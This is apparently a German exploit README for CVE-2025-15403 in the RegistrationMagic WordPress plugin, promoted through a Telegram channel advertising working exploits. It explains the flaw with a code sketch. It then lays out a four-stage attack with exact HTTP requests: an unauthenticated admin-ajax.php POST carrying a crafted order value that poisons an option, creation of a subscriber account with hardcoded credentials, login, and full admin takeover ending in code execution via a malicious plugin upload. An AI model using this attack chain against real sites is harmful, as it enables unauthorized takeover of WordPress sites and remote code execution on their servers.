
RegistrationMagic <= 6.0.7.1 - Nicht authentifizierte Privilegienausweitung über admin_order
RegistrationMagic <= 6.0.7.1 - Unberechtigte Privilegieneskalation via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Die Intel wird hier zuerst abgeworfen. Folge @KNxploited auf Telegram – präzise CVE-Offenlegungen, funktionierende Exploits und tiefgehende Schwachstellenforschung. Der Kanal für diejenigen, die nicht auf die Nachrichten warten – sie machen sie.
CVE-2025-15403 ist eine CVSS 9.8 Kritische Privilegieneskalations-Schwachstelle im RegistrationMagic-Plugin für WordPress.
Der Fehler liegt in der add_menu-Funktion des Plugins, die ohne Authentifizierung über die AJAX-Aktion rm_user_exists freigelegt wird. Durch das Injizieren eines leeren Slugs in den order-Parameter zusammen mit dem Flag enable_admin_order=yes manipuliert ein Angreifer die interne Menü-Erstellungslogik des Plugins. Wenn das Admin-Menü anschließend aufgebaut wird, ruft das Plugin stillschweigend add_cap('manage_options') für die Zielrolle auf – und hebt jedes Abonnentenkonto auf vollständige Administratorrechte.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Betroffene Versionen | Alle Versionen bis einschließlich 6.0.7.1 |
| Schwachstellentyp | Unberechtigte Privilegieneskalation |
| Angriffsvoraussetzung | AJAX-Phase: Keine. Ausnutzung: Abonnenten-Konto |
| Angriffsvektor | Netzwerk |
| CVSS 3.1-Score | 9.8 KRITISCH |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Auswirkung | Vollständige WordPress-Administrator-Übernahme |
| Forscher | Nxploited |
Die Ursache ist, dass die add_menu-Funktion ohne Authentifizierung über rm_user_exists erreichbar ist, kombiniert mit null Validierung des admin_order-Slugs:
// Registriert ohne Capability-Check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Benutzergesteuert, NICHT bereinigt
$role_key = /* aus POST abgeleitet */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Speichert angreifergesteuerte Reihenfolge in Plugin-Optionen
update_option('rm_admin_order', $order); // z.B. ",menu1" → leerer erster Slug
}
}
// Später, wenn das Admin-Menü erstellt wird...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Vom Angreifer vergiftet
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Leerer Slug löst bedingungslose Berechtigungsvergabe aus
$role->add_cap('manage_options'); // ← VOLLSTÄNDIGE ADMIN-BERECHTIGUNG HINZUGEFÜGT
}
}
}
Warum dies kritisch ist:
wp_ajax_nopriv_* = keine Authentifizierung erforderlich, um die Option zu vergiftenorder=,menu1 erfüllt die empty()-Bedingung und löst add_cap('manage_options') ausmanage_options ist die höchste WordPress-Berechtigung – entspricht Administrator╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 1 — Unauthentifizierte Optionen-Vergiftung ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← leeres erstes Element = leerer Slug
_Subscriber = 1 ← Zielrollen-Schlüssel
restore = false
enable_admin_order= yes
Antwort: HTTP 200 (jede nicht blockierte Antwort = Option vergiftet)
↓ Plugin speichert order=",menu1" in wp_options
↓ Nächster Admin-Menü-Aufbau löst add_cap('manage_options') für die Abonnentenrolle aus
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 2 — Kontoerwerb (Abonnent) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Registrierung über das Registrierungsformular der Website (Modus 0):
GET /wp-login.php?action=register → intelligente Formularerkennung
POST → Abonnentenkonto erstellen
Anmeldedaten: NXploited / xplpass123
Option B — Vorhandenes Abonnentenkonto verwenden.
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 3 — Anmeldung + Berechtigungsernte ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Abonnentenkonto besitzt nun manage_options → vollständiges Admin-Panel zugänglich
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 4 — Tiefe Verifikation & RCE via Plugin-Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin-Dashboard zugänglich ✔️
GET /wp-admin/plugin-install.php → Plugin-Installationsseite zugänglich ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin hochgeladen und ausgeführt ✔️
GET /wp-content/plugins/Nxploited/hello.php
Antwort enthält "Nxploited" → RCE BESTÄTIGT ✔️
Dieses Exploit-Set bietet drei verschiedene Modi, die den gesamten Angriffslebenszyklus abdecken: